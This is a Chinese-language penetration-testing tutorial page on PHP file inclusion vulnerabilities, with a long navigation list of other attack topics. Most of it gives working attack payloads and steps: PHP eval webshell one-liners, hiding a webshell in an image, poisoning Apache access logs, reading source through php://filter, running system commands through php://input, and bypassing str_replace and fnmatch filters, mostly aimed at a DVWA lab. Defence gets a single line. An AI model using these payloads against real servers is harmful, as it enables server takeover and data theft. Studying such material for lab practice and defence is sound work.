## 文件包含漏洞
簡單一句話,為了更好地使用代碼的重用性,引入了文件包含函數,可以通過文件包含函數將文件包含進來,直接使用包含文件的代碼。
在大多數Web語言中都會提供的功能,但PHP對于包含文件所提供的功能太強大,所以包含漏洞經常出現在PHP語言中,但其他語言中可能出現包含漏洞。
### 文件包含漏洞的原理:
?大多數情況下,文件包含函數中包含的代碼文件是固定的,因此也不會出現安全問題。
但有些時候,文件包含的代碼文件被寫成了一個變量,且這個變量可以由前端用戶傳進來,這種情況下,如果沒有做足夠的安全考慮,則可能會引發文件包含漏洞。
攻擊著會指定一個“意想不到”的文件讓包含函數去執行,從而造成惡意操作。
?
**示例代碼:**
```?
?page=a.php
?home=b.html
?file=content..
```
### 涉及到的危險函數:
```
include #執行到include時才包含文件,找不到被包含文件時只會產生警告,腳本將繼續執行
include_once #同上,區別是如果該文件中已經被包含過,則不會再次包含。
require #程序一運行就包含文件,找不到被包含的文件時會產生致命錯誤,并停止腳本
require_once #同上,區別是 PHP會檢查該文件是否已經被包含過,如果是則不會再次包含。
```
### 文件包含漏洞的分類:
1. 本地文件包含漏洞:
僅能夠對服務器本地的文件進行包含,由于服務器上的文件并不是攻擊者所能夠控制的,因此該情況下,攻擊著更多的會包含一些 固定的系統配置文件,從而讀取系統敏感信息。
很多時候本地文件包含漏洞會結合一些特殊的文件上傳漏洞,從而形成更大的威力(例如上傳webshell后用包含方式調用)。
?
2. 遠程文件包含漏洞:
能夠通過url地址對遠程的文件進行包含,這意味著攻擊者可以傳入任意的代碼,這種情況沒啥好說的,準備掛遠程碼
?php遠程包含漏洞必要參數
```
allow_url_include=on
magic_quotes_gpc=off
```
### 文件包含漏洞的上傳技巧:
?
#### 1、小馬+圖片:
?* 方法一:直接偽造頭部GIF89A
* 方法二:CMD方法,copy /b test.png+1.php muma.png
?* 方法三:直接使用工具往圖片中寫入一句話木馬。
?
#### 2、小馬+日志:
?當某個PHP文件存在本地包含漏洞,而卻無法上傳正常文件,這就意味這有包含漏洞卻不能拿來利用,這時攻擊者就有可能會利用apache日志文件來入侵。
>Apache服務器運行后會生成兩個日志文件,access.log(訪問日志)和error.log(錯誤日志),apache的日志文件記錄下我們的操作,并且寫到訪問日志文件access.log之中
1、打開配置文件`httpd.conf”第299行
刪除井號以取消注釋
```
##CustomLog "logs/access.log" common
```
?
2、將一句話木馬寫到 url中的fiename 里
雖然會提示失敗,但是會記錄到日志文件中。**
```
#URL地址
http://xx.com/xx.php?filename=<?php @eval($_POST['123']);?>
#access_log中會有如下內容
..... GET /xx.php?filename=%3C?PHP%20@eval($_POST[%27123%27]);?%3E ......
```
3、然后用包含漏洞包含日志文件
小馬就被運行了,但是由于編碼的緣故有可能并不生效。用菜刀等工具連接試試
```
#URL
http://xx.com/xx.php?filename=../Apache/logs/access.log
```
#### 3、利用php包含來讀文件:
```
# 1 構造URL:x.php是實現傳到服務器的一句話木馬
http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=x.php
# 2 通過bp抓包可以發現,返回的包里面有一串base64的加密字符串
# 3 將加密字符串解密,可得一句話木馬
<?php eval($_POST['cmd']);>
```
#### 4、php包含寫文件:
注意:只有在`allow_url_include`為on的時候才可以使用,如果想查看回顯結果那還要這樣
1. 在C:\\php\\php-5.2.14-Win32下找到php-apache2handler.ini
2. 打開,查找`display_funtions=proc-open,oppen,exec,system……`
3. 刪掉system,然后重啟apache。
>意思就是排除system命令
?
```
#構造URL:
http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://input
#抓包,修改提交的post數據為
<?php system('net user');?>
?#在返回包中,應該能看到net user命令的執行結果
```
?
#### 5、`str_replace`函數繞過:(中)
?使用`str_replace`函數替換指定的字符串是極其不安全的,因為可以使用很多方法繞過。
又假設設置的過濾`../、..\、http://`等,以防止目錄穿越和遠程文件
```
#1、可以路徑嵌套
http://192.168.0.103/dvwa/vulnerabilities/fi/page=..././..././..././..././..././xampp/htdocs/dvwa/php.ini
#2、絕對路徑不受任何影響
?http://192.168.0.103/dvwa/vulnerabilities/fi/page=C:/xampp/htdocs/dvwa/php.ini
#3、雙寫http頭使用遠程文件
?http://192.168.0.103/dvwa/vulnerabilities/fi/page=htthttp://p://192.168.5.12/phpinfo.txt
```
#### 6、fnmatch函數繞過:(高)
?經常會有開發,用fnmatch函數,用于指定只能用特定的文件名開頭的文件
```
if(!fnmatch("file*",$file)&&$file!="include.php")
#本意是當include.php,又不是file開頭的文件名時,就不能調用
#但殊不知有file://協議,也是可以讀取文件的
http://192.168.0.103/dvwa/vulnerabilities/fi/page=file:///C:/xampp/htdocs/dvwa/php.ini
```
PHP帶有很多內置URL風格的封裝協議,可用于類似fopen()、copy()、file_exists()和filesize()的文件系統函數。
```
File:// 訪問本地文件系統
htt[p:// 訪問HTTP(s)網址
ftp:// 訪問FTP(s)URLS
php:// 訪問各個輸入/輸出流(I/o streams)
zlib:// 壓縮流
data:// 數據(RFC2397)
ssh2:// Secure Shell 2
expect:// 處理交互式的流
glob:// 查找匹配的文件路徑模式
#有時候對方程序員對協議進行限制我們可以多嘗試嘗另外的
```
?
## 文件包含漏洞的防御方法:
?**將需要包含的文件用白名單方式寫死**
- src導航站
- kali和msf
- 信息收集
- 收集域名信息
- Whois 查詢
- 備案信息查詢
- 信用信息查詢
- IP反查站點的站
- 瀏覽器插件
- 收集子域名信息
- 在線平臺
- 工具枚舉
- ssl與證書透明度
- DNS歷史解析
- DNS域傳送漏洞
- C段探測
- JS文件域名&ip探測
- 搜索引擎&情報社區
- google黑客
- 威脅情報
- 鐘馗之眼
- 收集相關應用信息
- 微信公眾號&微博
- APP收集&反編譯
- 收集常用端口信息
- 常見端口&解析&總結
- 掃描工具
- 網絡空間引擎搜索
- 瀏覽器插件
- nmap掃描
- 收集敏感信息
- 源碼泄露
- 郵箱信息收集
- 備份文件泄露
- 目錄&后臺掃描
- 公網網盤
- 歷史資產
- 指紋&WAF&CDN識別
- 指紋識別
- CDN識別
- 繞過CDN查找真實IP
- WAF識別
- 漏洞資源和社工
- 漏洞公共資源庫
- 社會工程
- 資產梳理
- 各種對滲透有幫助的平臺
- 掃描器
- 掃描器對比
- AppScan(IBM)_web和系統
- AWVS_web掃描
- X-Scan_系統掃描
- WebInspect_HP_WEB
- Netsparker_web
- WVSS_綠盟_web
- 安恒明鑒
- Nessus_系統
- nexpose_系統
- 啟明天鏡_web_系統
- SQL注入
- 常用函數
- sql注入步驟
- union注入和information_schema庫
- 函數和報錯注入
- SQL盲注
- 其他注入方式
- 防止SQL注入解決方案
- Access數據庫注入
- MSSQL數據庫注入
- MYSQL數據庫注入
- 神器SQLmap
- xss跨站腳本攻擊
- xss原理和分類
- xss案例和修復
- xss繞過技巧
- xss案例
- 文件上傳下載包含
- 常有用文件路徑
- 文件上傳漏洞
- 文件下載漏洞
- 文件包含漏洞
- upload-labs上傳漏洞練習
- XXE、SSRF、CSRF
- SSRF原理基礎
- SSRF案例實戰
- CSRF原理基礎
- CSRF案例及防范
- XXE之XML_DTD基礎
- XXE之payload與修復
- XXE結合SSRF
- 遠程命令執行與反序列化
- 遠程命令和代碼執行漏洞
- 反序列化漏洞
- 驗證碼與暴力破解
- 爆破與驗證碼原理
- CS架構暴力破解
- BS架構暴力破解
- WEB編輯器漏洞
- 編輯器漏洞基礎
- Ewebeditor編輯器
- FCKeditor編輯器
- 其他編輯器
- web中間件漏洞
- 中間件解析漏洞
- Tomcat常見的漏洞總結
- Jboss漏洞利用總結
- Weblogic漏洞利用總結
- WEB具體步驟
- 旁注和越權
- CDN繞過
- 越權與邏輯漏洞
- WEB應用常見其他漏洞
- WEB登陸頁面滲透思路
- 獲取WEBshell思路
- 社工、釣魚、apt
- 社工和信息收集
- 域名欺騙
- 釣魚郵件
- 一些釣魚用的掛馬工具
- 代碼審計
- 代碼審計工具
- WAF繞過
- WAF基礎及云WAF
- 各種WAF繞過方法
- 繞過WAF上傳文件
- 系統提權
- windows系統提權
- linux系統提權
- 數據庫提權操作系統
- 內網橫向滲透
- 內網穿透方式
- 一些內網第三方應用提權
- ARP與DOS
- ARP欺騙
- DOS與DDOS
- 一些DOS工具